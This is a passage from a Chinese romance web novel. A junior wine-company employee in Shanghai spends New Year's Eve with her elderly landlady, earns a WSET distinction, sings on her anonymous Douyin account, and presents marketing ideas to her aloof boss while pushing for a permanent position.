盛仰的突然发问,总能让花诗雨感觉是不是有问题,“口...口头约定。”
“倘若是我自己,就算是我亲爹,我也要跟他白纸黑字把一切约定好。如果是你自己先拟文件,就别老想着为别人好,要想什么样的条款是对自己有利的,你这种情况最好是一年一签,甚至季度一签。如果他给一份文件让你签,你一定要看清楚条款,可以咨询别人,千万不要傻乎乎地掉入别人陷阱。”电梯门开,盛仰先走进去,花诗雨跟在后面进去,“最重要的一点,不要高估任何一名男性。”
“您...”
“放心,我对你没兴趣!”
“......我不是那个意思,我是想说我只是一个没转正的普通员工,您却愿意提醒我这些。”
盛仰转过头来,看了一眼花诗雨那毫无妆饰却白里透红的脸,“你自己说的,你脸上写着‘好骗’。我不希望我们团队员工太蠢,影响整体水平,能拉一个是一个。”
“......”
花诗雨走出大厦,想着回家要花一个多小时,而店铺订单着急,不能等,便去了附近相对便宜的咖啡店继续干活了。
把着急的事情都处理好后,花诗雨想起盛仰刚才的提醒,他说的对,不白纸黑字约定好的话,以后会有扯皮,还有可能被道德绑架。她便在网上找了份利益分配协议书的模版,根据自己的情况去填写,期限只写了半年,检查数遍后才把协议发给马杨。
并留言:【学长,我觉得我们还是有必要签一份协议。毕竟在这场合作里,我是最大受益者,这份协议是约束我,从而维护你的利益。因为不知道后续经营状况,所以合约期限暂写半年,后续看情况再续哈。如果你觉得协议内容没有问题的话,就签一下哈。】
马杨:【好,一式两份明天寄给你。】
马杨答应了,说明双方更多是合作关系,花诗雨对他的道德感才降下来点。
18. 优秀
年三十那天,清晨六点半。
花诗雨自然醒来,第一件事是倒一杯温水喝,再到厨房把昨晚泡在电饭煲里的杂粮煮上,最后套上外套坐到桌前开始做自己的副业。
除特殊情况,花诗雨一般不熬夜,一般是十一点左右入睡,次日六点半醒,无论春夏秋冬都是如此。早醒也不赖床,上学时早起背书,工作时早起搞副业或做其它提升技能的事,反正不敢闲着。
花诗雨的饮食也挺讲究——常吃五谷杂粮,多吃蔬菜,正常吃应季水果,能喝温的就不喝凉的,肉蛋均匀摄入,甜食偶尔吃吃。
这是她研究中医食补所得,效果确实很好,她常年气色红润,头发柔顺光滑,病也生的少。
在她眼里,不熬夜是最好的美容,养生有益身体健康。其实也是因为穷,买不起贵的护肤品,更生不起病。
八点,手头的事都忙得差不多了,花诗雨才去洗漱,然后盛一碗粥,坐在露台那边晒太阳边喝粥,顺便刷刷手机。这几天气温不错,今年也会是个暖年,不过她不回老家,那里连住的地方都没有。
忽而,有人敲门,花诗雨放下粥碗去开门,快递员把一个又一个快递塞进来,加上门边架子上还没来得及拆的快递,快堆成一座小山了,都是她过年的战利品。
过去的三个月,她亚马逊店铺净收入近三万,提现到账的第一件事就是把助学贷款全还了,剩下的一万多块都用来买衣服和化妆品了,也就是这堆快递。
她把快递一个个拆开,买之前她就在网上看了好多穿搭视频,心里对自己的定位有底后才着手买的。从里到外、从头到脚都买了个遍,小到几块钱的发绳,大到几千块钱的羽绒服。
买来的衣服什么的她都试了,都合适,都深得她心,所以柜子里那些简朴又显得学生气的衣服她几乎都给扔了。
毕竟旧的不去新的不来,手头也逐渐宽裕,没必要对自己抠抠搜搜了。
洗晾好新衣服后,她又开始大扫除,给家里摆上可爱漂亮的摆件,给墙上挂上自己画的画。最重要的是写对联和福字,要让家里有过年的气氛。
最后,她叉着腰站在露台朝屋里望,午后阳光透过贴了福字的玻璃窗洒进她的小屋子,里面的一切都变得生动明亮起来,再看看身旁多层木架上的多彩多肉,真好,还有这些小可爱陪着一起过年。
忽然,从楼下院子传来房东老太太的呼喊声:“小姑娘!”
花诗雨往下望,房东老太太正仰头问她:“小姑娘,来我家过除夕,好伐?”
花诗雨不想给人添麻烦,想拒绝来着,但房东老太太又说:“我孤寡老人,怕一个人过年啊,就陪陪我这老太太吧。”
其实花诗雨很早就发觉了房东老太太的孤独,她腿脚不好,不能像其她老太太一样去跳广场舞,也不能像其他人一样去做社区志愿者打发时间,偶尔去去小区里面的老年活动室打牌,但没一会就会被二手烟熏出来。
几次下班回家,花诗雨都能看到她一个人坐在楼下路灯下看来往的行人,直到外面的人少了,她才愿意回家。
想到这些,花诗雨还是决定陪她一起过个除夕,刚好自己也缺个伴。
花诗雨也不空手去,把原本买来过节的鱼肉都带到楼下去。
房东老太太早早就在门口等候她,见她手里拿着菜,便说:“哎哟小姑娘,我这有,我都买好了,你再拿过来都吃不完呐!”
“没事的,吃不完您可以放到冰箱里以后吃。”花诗雨脱鞋,穿上自己带来的一次性拖鞋,直奔房东老太太的冰箱,把带来的食材都塞进了她的冰箱。
“这小姑娘真是的。”房东老太太走到房间里,带出几大包零食,砂糖橘和各类糕点,一同摆在客厅的小桌子上,“过来坐下吃点零食。”
花诗雨到厨房洗手,看到灶台上都是配好的菜,有大虾、五花肉、咸肉、笋、绿叶菜以及各种配料,“杨阿婆,您都配好菜了呀,我还想给您打下手呢。”
“不用了,你就坐这等着吃就行,我们本地菜你又做不来。”
“那我等会洗碗。”花诗雨甩干手上的水分,坐在零食桌前,随口问道:“杨阿婆,您不和家人一起过年吗?”
花诗雨也发现她和这里的其他老年人不一样,其他老年人都有老伴一起住,他们的儿女一般住市区,他们经常会去市区儿女家待待,但房东老太太家里从没出现过亲戚。
“有个儿子,在美国,十年没回来了,就当没这个儿子吧。”讲到儿子,房东老太太满眼失望,转身走进厨房,叹气道:“唉,从小就没亏待过他,一路供到他博士毕业,他要移民美国,我们就卖了两套房子助他移民。他移民了就再也没回来过,去年他爸去世,求他回来看一眼,他却说他老婆要生三胎走不开。我活了七十多年了,从未见过如此自私自利之人。”
只见房东老太太站在洗菜池前偷偷抹眼泪。
原来这世界上不光有槽糕的父母,还有如此自私的子女。
花诗雨不忍再问下去了,转移话题:“杨阿婆,这几天天气都挺好的,我们到时候一起出去走走吧。”
“好呀,”房东老太太自然是希望有人陪着出去走走,说说话,她原本能一起说话的同龄人都跟家人团聚去了,“我带去附近的一个村子,那里能买到他们自己种的菜,养的走地鸡,还有土鸡蛋,价格实惠。”
“好的呀。”
一下午,房东老太太都在厨房里忙碌,红烧肉的浓郁香味飘散开来,花诗雨随着香味望向那微微佝偻的背影,就像回到了小时候。那时外婆在厨房做饭,她在屋子外写作业、吃零食,若是闻到香味,必到厨房向外婆要上一口。那时候的她,很快乐,很快乐。
每到这个时候,花诗雨也必想起妹妹,便拿起手机,点开妹妹的微信朋友圈,时隔一月妹妹终于发了朋友圈,昨晚凌晨发的,而且又是与盛仰相关的,几张她与盛仰在家门口放烟花的照片,盛仰在妹妹的照片里笑得很开心,与平常在公司里判若两人。
妹妹配文:像是回到我们小时候。
看来,老板在最亲近的女朋友面前也带着孩子的玩性。
花诗雨看着照片笑了,很欣慰,他们看起来无比幸福。
没一会,Wset三级的培训群里弹出好多条信息,花诗雨赶紧点开,生怕错过成绩的公布。
小助手在群里发了十张成绩截图,并说:
【以上同学都通过了Wset三级的考试,恭喜(礼花)】
【其中花诗雨同学是Passwithdistinction(优异成绩),班级里唯一一个distinction.(礼花)(礼花)】
Wendy@花:【太佩服了!你是我们当中唯一一个没考二级直接考三级的人,结果你最高分!(竖起大拇指)】
花:【谢谢,瞎蒙的,比较幸运,蒙对了(呲牙笑)】
群里互相道喜,而盛仰一直都没跳出来说句话,花诗雨以为他没有看到自己通过的成绩,直到有通过的学员@他:【感谢讲师那段时间的辛苦付出(玫瑰)】
其他通过的学员都附和相同的话,花诗雨不好意思附和。
没一会盛仰@他们九人:【不客气,恭喜你们】
所以他到底知不知道自己获得了最好的成绩...
花诗雨很在意,真的很在意,真的很想获得他的认可。
可她也不是那种大张旗鼓宣扬自己的人,只能等到上班了跟人事说自己通过了,让人事把培训费报销给她。
房东老太太朝客厅喊:“小姑娘,菜做好了,收拾收拾吃饭了。”
“好叻。”
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花诗雨把零食收起,把桌子擦干净,然后帮老太太一同把菜端出来。
鲜亮金黄的油焖大虾,汤汁浓郁的红烧肉,汤白汁浓的腌笃鲜,鲜亮翠绿的霜打上海青以及鲜香扑鼻的咸肉菜饭。虽然每道菜都没放辣椒,但看起来都很有食欲。
房东老太太给花诗雨盛了一晚咸肉菜饭,再往菜饭上夹了一块最大的红烧肉,“咸肉菜饭配红烧肉,老好恰咧!”
花诗雨拾起勺子挖了三分之一块肉,就着咸肉菜饭一起喂到嘴里,第一口下去,她眼睛就亮了,疯狂点头认可:“好好吃,好好吃!”
老太太特开心,一个劲地往她碗里添菜,“你喜欢就好,多吃点,多吃点。”
花诗雨嘴里装的鼓鼓当当,慢慢嚼完后说:“我吃习惯了辣,来到上海之后感觉很多餐馆都没啥辣味,都没什么食欲。今天吃了您做的上海菜,我发现虽然不辣,但是是真好吃呀,改变了我对本帮菜的印象。”说完,她又接着用红烧肉汤汁拌菜饭,“尤其这个红烧肉汤汁拌菜饭,简直灵魂搭配!”
小姑娘情绪价值给得足足的,老太太心里乐开了花,打心底喜欢她。
一顿饭下来,吃了有两小时,聊了有两小时。一个被父亲抛弃的女孩和一个被儿子抛弃的老太太在一起度过了一个温暖的除夕,彼此都有种惺惺相惜的感觉。
饭后,花诗雨主动包揽了洗碗和收拾厨房的活,还帮房东老太太把地都拖了一遍,出门时顺手把她家的垃圾都带走了。
花诗雨回到自己小屋时已是九点,她今晚开心,想任性一回,不学习不做副业,只想让自己随心所欲一晚。
想起自己还有个三十多万粉丝的DY账号,昵称是“花花世界”,这是她大三时注册的。因为喜欢唱歌,想要借歌抒发情绪,所以注册了DY账号,开始发自己唱歌的视频,但不露脸。
外婆曾经是一位民间戏曲表演者,花诗雨遗传了外婆的好嗓音,随便唱唱都很动听,因此吸引了不少粉丝,日日催她更新,可她很佛系,上学时一两周才更新一首。
今晚她手机对着福字拍视频,唱了一首《明天会更好》,一遍过,唱完就去洗澡了。
半小时后,花诗雨洗澡回来,点开自己DY,已是99+的消息,首条高赞评论依旧是那个昵称叫“等花花”的,也是花诗雨的铁粉,她评论道:【花花,你终于回来了(大哭),我的治愈歌声又回来了(感动),这大半年我每天都点进来看看你有没有更新。终于等到了,太开心了!】
后面其他粉丝也是类似评论,甚至问她生活上是不是出什么事了,看来有好多陌生网友关心自己。
于是,花诗雨回复:【不好意思让大家久等了,毕业后我的生活有了很大变化,来到了上海,这段时间也一直忙于工作和适应新生活,所以都没更新。没想到你们都还在,谢谢你们。祝你们新年快乐!】
随后,她放下手机,看到桌上从公司带来的葡萄酒,想起了年前奚涧交代的新品的酒瓶、酒标以及酒名的市场调研工作,那为何不直接问问自己的粉丝呢,本来她的粉丝里就女生居多。
所以,她又唱了一首歌,西语歌《TeQuieroLento》,配的视频里就是桌上这瓶酒,配的文字:你第一次喝葡萄酒是什么时候?我是刚工作的时候。
她在评论里问:【什么样的葡萄酒能吸引到你呢?】
这条评论她置顶了,希望能得到大家的回复。
这条视频刚发出去,就有好多人点赞,而且“他”也在前几个点赞里,一个昵称为“Y”的黑头像粉丝。花诗雨对这位粉丝印象很深刻,当年她发的第一个视频是清唱《Perfect》,前一百个点赞里就有他,也是前十个关注她的粉丝。
花诗雨点进他的主页,依旧是零作品,关注列表里也依旧只有她一人。
19. 惊艳
北京,某别墅区,盛家,除夕家宴。
盛仰爷爷奶奶坐圆桌主位,盛仰父子俩坐爷爷手下边,盛仰姑姑一家三口坐奶奶手下边。
老爷子环顾连一桌都没坐满的人,叹气道:“唉,何时才能凑满一桌?”
姑姑起身为父母盛鱼汤,“那有点难,盛棠和盛仰没一个想结婚的。”
盛棠是盛仰姑姑的女儿,比盛仰大三岁,本来是异性恋,经历一些事情后,演变成双性恋,观念相对开放。
“那不结婚,可以生孩啊!”老爷子实属无奈,盛棠和盛仰姐弟俩都表示过对婚姻不感兴趣,“现在不是有不少不结婚但生孩子的吗?”
姑姑都笑了,这老爷子被这姐弟俩逼得步步退让,未婚生子都愿意接受了。
盛棠吃了几口就没再吃了,拿起桌上的手机,对着屏幕把扎进黑色高领毛衣里的齐肩短发拨弄出来,“那我去买几个优质精子,没意见吧?”
姑姑和姑父笑着默许了,有没有女婿不重要,重要的是要有小孩。
老爷子有意见:“别学那一套,要自己亲自接触了才知道优不优质,结不结婚那是另一回事。”
“好,知道了。”盛棠打马虎眼,目光转移至弟弟身上,希望话题也转移到他身上。
盛仰一直在埋头干饭,感受到众人望过来的目光后,他冷不丁冒出一句:“我不生孩子。”
他不常来北京,与家人交流不多,只有逢年过节的时候会来这看望爷爷奶奶,且待两天就走,这次也是今天下午才到的北京。
盛钧拿起盛仰的汤碗,难得为儿子舀了碗汤,“你不是在和你妈朋友的女儿在谈吗?”
盛仰没理盛钧,盛钧舀的汤他都没看一眼,只顾夹菜吃。
这父子俩不和也不是一天两天,在座的都清楚。为避免尴尬,盛棠替盛仰回答:“阿仰和双双从来没谈过,我就没见过阿仰和谁谈过。”
盛棠负责盛盈国际的上海分部,大部分时间都在上海,与盛仰常往来,两人关系一直都不错,所以盛棠对弟弟的生活还算了解。
姑姑打趣道:“阿仰,你不结婚,也不生孩子,连恋爱都不谈,人生岂不是少了很多乐趣。”
盛仰耸耸肩,笑笑说:“姑姑,没人看得上你侄子啊!”他除了对盛钧没好脸色,对盛家其他人都是礼貌的、尊重的。
“你呀你,瞎说!”姑姑都被说笑了,“是没有你看得上的吧。”
老爷子问:“阿仰,你就没有计划回盛盈国际干吗?”
“没有,我不擅长做这行。”盛仰看向盛棠,“有姐就行了。”
盛盈国际是老爷子创立的,他退下来后就转交给了两儿女,如今重点培养的是盛棠。盛仰对这行不感兴趣之外,也不想陷入与姑姑家的漩涡里。
“也行,爷爷希望你开心,其他就不强求你了。”这孙子从小就是外公外婆抚养,父母又在他很小的时候就离婚了,老爷子对孙子有很大愧疚,觉得自己没有资格对孙子有过多要求。
“嗯,会的。”盛仰说,“我也希望爷爷奶奶身体健康。”
饭吃到尾声,盛钧一直看手机、回消息,最后还是跟老爷子告别。
盛钧提前离席,老爷子虽有些不高兴,但也摆手让他走了。
当年盛仰父母离婚,不到一年盛钧就领了个离异带女儿的女人回家,老爷子始终不同意,盛钧却跟着了魔似的要跟她结婚。
老爷子为了保护孙子的利益,要求盛钧二婚不能生孩子,否则盛家的一切都将与他无关。盛钧做到了不再生孩子,可他仍然没承担起对亲生儿子的责任,反而把爱都给了无任何血缘关系的继女。
老爷子因此对盛钧失望透顶,剥削了他在公司的权利,对孙子则百般补偿。
盛仰吃完也离席了,坐在客厅刷手机,DY突然跳出一条提示说他关注的“花花世界”更新了。当年他刚被派回CR中国分部,为了了解国内市场,他下载了国内流行的社交软件,包括DY。某天,DY就给他推荐了“花花世界”清唱的《Perfect》,当时他一下就被这个女孩子的歌声给吸引住了,毫不犹豫地点了赞并唯一关注了她。
看到“花花世界”最新唱歌视频里出现了他们酒庄的酒,他便先点了个赞,再点开听歌,能听出来是发音很标准的西语,越听到后面,他越感觉这音色跟身边的某个人的有点像,可回想了身边一圈熟悉的女生,除了双双有唱歌天赋外,其她人都一般。
更巧合的是,“花花世界”问自己的粉丝“你第一次喝葡萄酒是什么时候?”和“什么样的葡萄酒能吸引到你呢?”,这不刚好是他们想了解的。
“花花世界”的粉丝活跃度很高,个个都很真诚,一个小时的功夫就有上千条分享。
盛仰仔细翻看了这些回复,总结下来就是:多数年轻女孩喝的第一口葡萄酒是在刚走向成熟或有能力满足自己的时候,并且她们第一次买葡萄酒大多看颜值或达人推荐,好看的酒瓶和酒标会吸引她们消费,偏甜且口感顺滑的葡萄酒她们会更喜欢。
评论看完,新品营销灵感也陆续涌现在他脑海里,在别人阖家欢乐的时候,他坐在书房写营销方案,心里也是指望不上市场部那三位半吊子姑娘,奚涧年纪也大了,想法和点子经常滞后。
**
漫长的春节假期终于过去。
新年复工第一天的早晨,花诗雨先是做了一个小时的副业,接着就是打扮自己,她把自己的长直发卷了个法式浪漫卷,化了个最适合自己的裸妆,换上早春花紫茶歇长裙,背上了有设计感的黑色小挎包,满心愉悦地去上班。
一路上总有人回头看她,在别人欣赏的目光里,她心底的尘埃里开出了一朵花,走起路来都带着风。
花诗雨还是像之前一样,第一个抵达办公室,帮老板把办公室收拾了一下,然后把她们三人的养生壶煮上了消食的苹果山楂水。
做好这些后,她就开始整理自己假期所做的市场调研。
五分钟后,盛仰走过来,花诗雨那头漂亮的卷发先映入了他的眼帘,他有点不相信那个天天扎着高马尾的姑娘竟然舍得把头发放下来,再走近,这姑娘终于穿了一件优雅且显气质的裙子,而不是之前随便搭配的松垮卫衣和牛仔裤。
听到这熟悉的脚步声,花诗雨站了起来,有了Wset三级优秀成绩和这身精心打扮的加持,她腰板都比之前挺了些,热情道:“老板,早上好!”
盛仰上下打量了她一眼,好身材终于不被浪费了,妆容和衣服搭配都恰到好处,视线再停留在那张小脸上,没有浓妆艳抹,这个素颜妆很适合她本就没有什么瑕疵的脸。
“嗯...?”花诗雨觉得奇怪,往常她跟他打招呼,他都只是“嗯”一声就进去了,今天莫名奇妙在她脸上停留了好几秒,“您是有什么要交代的吗?”
“没有。”顿了下,他问:“赚钱了?”
言外之意是:终于舍得打扮自己了?
“一点点。”想起那两万多的债务,花诗雨忙说:“我欠您的钱肯定会还的,希望您再给我点时间。”
盛仰无语,“我上次在茶水间跟Bruce说的话,你是一点都没听懂啊?”
“听懂了,但我说了还就会还的,虽然我知道您根本不在乎那点钱。”
“......”盛仰懒得跟她扯那几块钱,转身走了,转身的那一刻他嘴角不由地上扬了下,其实有被她的变化惊喜到,如果在工作上也能带来惊喜就更好了。
Emily和Bruce聊着天进来,看到花诗雨工位上坐着一个漂亮卷发的女孩子背影,Bruce便问Emily:“你部门新来的实习生啊?这奚涧是真行,把美女都招自己手下。”
“不是吧?”Emily也很疑惑,“我们部门今年没有招实习生的计划呀。”
“那会是谁?”
Emily慢慢走近,对那背影越看越熟悉,“应该是诗诗吧,那认真工作的样子只有诗诗了。”
没等两人靠近,花诗雨先回头,与他们打招呼:“新年好呀!”
“诗诗?!”Emily难以置信地跑过去,直到看到那张脸才敢确信眼前的人是花诗雨,“天呐!你这样显得我更普通了!”
Emily想说:以前我还能靠穿着五颜六色的穿搭在你面前显得不那么黯淡,这下好了,你既会打扮又会穿了,我就像你身旁的路人同事。
花诗雨挽起Emily的胳膊:“哪有,你才不普通,你是甜心小姐姐。”
“甜心小暴龙还差不多。”Emily对自己是有自知之明的。
“怎么样?”花诗雨问,“春节在山东老家过得怎么样?”
Emily今年跟老公回山东的婆家过年了。
“一堆奇葩事,等我空了和你说
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。”Emily摸了摸花诗雨卷发,她现在只关心这卷发怎么弄的,“这是烫的?在哪烫的?感觉好自然啊,我也想去做。”
“没,去理发店烫发太伤头发了,这是我自己在家用卷发棒随便卷的。”花诗雨从没染烫过头发,从来只做修剪,一直都是长黑直,但不到22岁的她偶尔也想弄个甜美的卷发,没想到第一次弄效果就不错。
“我发现你是真厉害。”Emily看着她的脸,还是和以前一样的自然,但气色好像更提亮了,“诗诗你化妆了吗?裸妆?”
“应该是吧,瞎化的。”
“瞎化”只是花诗雨的自谦之词,为了学习化妆,她特意花钱到美妆店学习了两个多月,同时学习网上美妆博主的教程,从只懂涂防晒霜到现在日常妆容信手拈来。
“我化裸妆就跟鬼一样。”Emily感叹说:“果然人家都说裸妆的第一要素就是素颜要好看,你就是,非常适合裸妆,美得好自然。”
“可是你性格超好的!”花诗雨说。
Bruce在旁边笑:“当夸一个人性格好的时候,就说明......”
Emily和花诗雨同时把头转向Bruce。
Emily瞪他:“说明什么?!”
花诗雨:“Bruce,不要挑拨我和Emily的关系。”
一下得罪俩,Bruce拉出姐妹团的第三人转移话题:“Sofía呢?今天不来吗?”
Emily:“她今天不来,约了今天去美领馆面签。”
Bruce:“她要去美国啊?”
花诗雨:“对呀,他弟弟在美国学医,她想去看望弟弟。”
Bruce:“哦哦。”
奚涧提着公文包走过来,看到花诗雨的第一眼,就竖起大拇指称赞:“哇哦!真好看!”接着冲Bruce赶了一句:“你又来干吗?快回你自己那去!”
Emily揭穿他:“自从诗诗和Sofía来了,他就天天跑这来摸鱼。”
“册那!”奚涧把Bruce从自己工位前拉开,“净耽误我们工作!”
“......”Bruce很不情愿地走了,整天面对销售部那几个男的,他心烦。
坐下后,奚涧对花诗雨说:“诗诗,年前跟你说的新品市场调研,你把你调研的报告整理一下发给老板,刚在路上他就在催了,也要抄送给我们。”
“好的,我在家的时候就写好了。”花诗雨说,“我还想了一些营销的点子,要一起发吗?”
“发,当然发,点子不嫌多。”
“好的。”花诗雨便把自己做好的报告发了出去。
奚涧忽然想起来问:“对了,Wset三级成绩应该出来了吧?”
花诗雨一脸淡定地点点头。
Emily凑过来问:“过了吧?过了吧?”
花诗雨微微笑着点头,别人不问起的话,她是不会主动炫耀的。
“我就说你肯定会过。”Emily也是真真切切见过这姑娘的努力程度,那教材上面可都是密密麻麻的笔记,“你要不过,天理难容。”
“把你的成绩发给我和Molly,我给你申请转正。”奚涧说,“本来早就应该转正的,太亏待你了。”
“好的,我现在发。”
几秒后,奚涧邮箱就收到了花诗雨发过来的成绩,看到“distinction(优秀)”,他由衷的自豪:“啧啧啧,我果然没看错人!”
“咋了咋了?”Emily又凑过来看花诗雨查成绩的那个页面,“天耶!你太棒了吧!你知道吗?当年我们老大去考Wset三级也只获得一个merit(良好)。”
奚涧:“真的,当时我们培训班一共10个人,只有一个人获得了distinction,你们班呢?”
花诗雨有点不好意思地抿了下嘴,腼腆笑道:“也只有我一个。”又道:“但是我是纸上谈兵啦,运气也挺好的,盲品的都是熟悉的酒。”
“这么优秀,不用谦虚。”奚涧指了指里面捏着下巴、滑着鼠标的盛仰,“老板应该早就知道了吧?”
花诗雨摇头:“我不知道老板知不知道。”
奚涧:“他肯定知道,在那装呢。”
聊着聊着,花诗雨座机响了,她接起,对方是盛仰,他只说了两个字“进来”就挂掉了。
20. 体贴
盛仰办公室。
花诗雨进来,两手交扣置于腹前,站在他对面,小心试问:“老板,是我的调研报告有问题吗?”
“没问题,”盛仰只盯着电脑屏幕看,页面里是她发过来的简略营销方案,“你先告诉我你这个‘轻熟’的想法是怎么来的?”
“哦,好的。”花诗雨认真回答道:“据了解,大部分女性的第一口葡萄酒是在工作之后,以我个人为例,未成年之前不喝酒,上大学后也是朋友聚餐时偶尔喝喝,大多还是啤酒之类的。只有参加工作了,独处、和朋友聚餐时会想起喝酒,且会想到尝试价格相对贵些的葡萄酒来满足自己。而我们的新品红葡萄酒,经过一年的橡木桶陈年,酒精度不高,这个陈年时间和酒精度刚好是年轻走向成熟阶段。”
“你是从何了解的?”盛仰比较关心这个,因为她的想法与自己的不谋而合,有点怀疑两个都看了花花世界的评论区。
“就...网上了解的啊...”
“好吧。”盛仰再把她调研报告打开,“陈述一下你的调研报告吧。”
花诗雨一条一条述说:“首先关于酒瓶,其实大多数年轻女性并不懂葡萄酒,那么设计好看的酒瓶会吸引她们购买,一个独特好看的酒瓶能做香薰,能做花瓶等等,都能引起她们消费,比如POP酒庄出过一款透明酒瓶的桃红酒,因超高的颜值出圈了;其次关于酒标,跟酒瓶同理,很多人会为了好看的酒标买酒;最后关于酒名,看想表达的主题和酒的特点,智利兰塔酒庄出过一款白葡萄酒,一开始叫做‘蓝色海洋之恋’,名字过于文艺术,销量一般,后来改名叫‘大富’,好记又符合大众想法,销量上去了。”
盛仰认真听着她述说,她说的某些点跟花花世界的评论区很相似,而且她说话的声音跟花花世界也有种说不上来的像,不禁问道:“你会唱歌吗?”
“啊?”这问题跟葡萄酒一点关系都没有,花诗雨不理解他为什么这么问。
“我问你会唱歌吗?”
“偶尔会嚎几嗓,谈不上会。”花诗雨总是那么谦虚。
盛仰信了,觉得有三十多万粉丝的花花世界不可能像花诗雨之前那般拮据,她看起来也不像是会在网上唱歌的人,便继续回到工作话题:“你刚说的都不错,那你个人对酒瓶、酒标和酒名有什么想法?”
表达自己想法之前,花诗雨先来一句底气不足的话:“都是我个人拙见,可能没什么用。”
“你就不能大胆表达自己的想法吗?”
“能。”花诗雨稍大声应了一句。
盛仰笑:“嗯,说吧。”
“先说酒名,如果把市场定位在20-35岁这阶段的女性,也就是网上说的轻熟阶段的女性,由此我想到了一个关键词‘悦己’。这个阶段的女性的经济实力由弱变强,思想由浅变深,自我意识也逐渐变强,会想满足自己,取悦自己。如果再配上一句朗朗上口的鸡汤式宣传语,传播效果可能会更佳。”花诗雨边述说观点边观察盛仰的表情,他嘴角在慢慢扬起,她也就放心表达了,“然后酒瓶和酒标,我和Sofía一样,一眼就喜欢上了那个曼妙形体的酒瓶,但颜色我认为可以换一个。”
花诗雨只是微顿了下,盛仰就迫不及待问:“什么颜色?”
“透明的浅紫色。之前您给我们看的绿色和纯色太过小清新,紫色会更温柔优雅一些,符合轻熟这个概念,相比常见的纯色、绿色、蓝色和粉色那些,紫色的酒瓶也是一种创新。”花诗雨的这个想法也不是空穴来风,她是有私信问自己粉丝的喜好,询问了很多人,才总结出来的观点。
“嗯,那酒标呢?”
“如果使用透明浅紫色酒瓶,那酒标可以是白色打底,上面的图案配以深紫色,这样不会显得突兀,却可突出酒标信息。”
盛仰已经在脑海里幻想她所描述的酒瓶和酒标的样子了,貌似挺高级的。
忽而,盛仰邮箱弹出奚涧发过来的花诗雨转正申请的邮件,他没点进去看,而是笑着问花诗雨:“想转正吗?”
“......”
花诗雨:你说呢?
“我觉得可以再等一个月。”
“......”花诗雨放在两侧的手微微攥起,深呼吸一口气后又松开拳头,挺起胸来,决定为自己理论一回:“老板,我觉得您在针对我,我和Sofía一同进公司,她考过二级就转正了,而我都考过三级了,您还不满意。虽然我没有工作经验,但老大交给我的工作我都有认真完成,都没有出什么差错;Molly都说我入职以来,每天最早来,最晚走,足以证明我的工作态度是没有问题的;我和同事们相处融洽,说明我人品也没有问题;我不明白,您为什么还要卡着我不让我转正呢?”
花诗雨一口气说完,但语气始终是礼貌和克制的。
外面的奚涧和Emily虽没听见花诗雨所说的内容,但她气势看起来是在理论,硬是把这两人看得一愣一愣的,这小姑娘这会一点也没有平时在老板面前的卑微模样。
盛仰双手交叉抱臂靠着椅背,嘴角一直挂着笑意,就看着她那雄赳赳气昂昂的模样,一点也不在意她对自己的反驳和输出。随后,他起身,插兜,向她走去:“所以,其实你是会反抗的。”
“我...我不是反抗。”花诗雨小声嘟囔,“就是觉得不公平。”
“这就对了,就要这样,觉得不公平、不满意,就直接说出来,不要总是一副...”他还是把“怯懦的样子”这几个字咽回去了,并不想给她贴上这样的标签。
“一副什么?”花诗雨问。
“没什么。”
“那老板,我到底要怎么做您才能满意呢?”花诗雨还是想要转正,坚持了这么久,她不想放弃,这不是她的性格。
“花溪村度假酒店了解吗?”
花诗雨点头,那是她曾经的故乡,怎可能不了解。
盛仰往后退了半步,稍靠坐在自己办公桌边上,与花诗雨平视,说道:“我说的了解,不是大家都知道的它是全市最贵的酒店之一,是问你是否了解它背后的建造故事、客户群体以及里面的餐饮等。”
“背后的故事我有听过。”花诗雨说,“十几年前,安西省永宁市花溪村那里要修建水库,所以要把花溪村拆除。可花溪村是几百年的古村,每处屋都是明清古宅,村里的樟树也都是上千年、上百年的古树。有位当地出去的富商为了把古宅和古树保护下来,他联合两方政府把花溪村的古宅拆了,古树挖了,都原封不动地迁移到这,建了花溪村度假酒店,据说每砖每瓦都做了记号,完美复刻了古宅。”
“你怎么知道的这么清楚?”
“额...就...”花诗雨捋了捋额前的碎发,“就那天去那玩,磳了别人的引导讲解。”
“好端端的跑那郊区去玩?”
“这...这不是没见过世面,就想看看所谓的最贵的酒店长啥样。”
她这不打草稿的解释,盛仰笑出了声,顺着她话问:“所以你进去看了吗?长啥样?”
“没,工作人员看我穷把我赶走了。”
盛仰再次失笑,这姑娘能调侃自己穷,说明内心还是坦然的,问道:“想去吗?带你进去参观参观?”
“工作吗?”花诗雨不觉得老板会突然带自己去那个地方,除非有目的,“酒水合作?”
“嗯,下月十五号,花溪村度假酒店有个文化活动,你跟我一起去吧,兴许能碰到你刚说的那个富商花东。”<
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“哦,好的。”
“嗯,那你回去把这酒店了解透彻,如果你能配合我拿下他们的酒水合作,我就让你转正,说不定还能给你加工资。”
“好,我努力。”
盛仰手轻轻一挥:“那你先出去吧。”
“好的。”
花诗雨出去后,盛仰立马就查看了她的员工档案,果然是跟花溪村同一个镇的,那她和花溪村度假酒店就是老乡了,这层关系或许对谈合作有用处。
花诗雨回到工位坐下,Emily挨过来问:“你们在里面聊什么呀?”
花诗雨揉着站了许久的腿,“聊挺多的。”
奚涧问:“他是不是又为难你了?如果是真的,你告诉我,我去说他,我们部门小朋友不能受欺负。”
“就是!”Emily给花诗雨杯子续上苹果水,“我刚看你跟老板理论,做得好!”
“没,老板没欺负我,但还是不同意我转正,说是配合他拿下花溪村度假酒店的合作才转正。”花诗雨前句刚委屈,后句就认同:“我虽然考上了Wset三级,但其它方面确实还需要努力吧。”
Emily:“你被他PUA了!”
说着,盛仰就从办公室里面出来了,向奚涧招了下手:“走,吃饭去。”
奚涧向花诗雨和Emily招手:“一起去,老板请客。”
Emily和花诗雨同时摇头,Emily幽怨的眼神看着盛仰:“不去,不跟男人一起吃饭!”
盛仰反问她:“你老公不是男人?”
Emily:“我老公当然是男人,温柔体贴的好男人,不像某人!”
花诗雨赶紧捂住Emily的嘴,可不兴她这样为自己讨公道。
“我是她老板,又不是她老公,温柔什么?体贴什么?”说完,盛仰就走了。
奚涧跟上:“你干吗老是针对一个小姑娘呢?”
“你哪只眼睛看见我针对她了?”
“还用看,全公司都知道你卡着人家不让人家转正。”
“那我有让她走吗?”两人路过Bruce工位,盛仰再一招手:“Bruce,今天你请客。”
Bruce跟在盛仰的另一侧:“我请我请。”
到了电梯门口,奚涧按了向下键,说道:“Tina下周一要回来了。”
Bruce问:“她不是要到四月份才休完产假吗?”
奚涧:“可能生了二胎,压力大,要提前回来赚奶粉钱。”
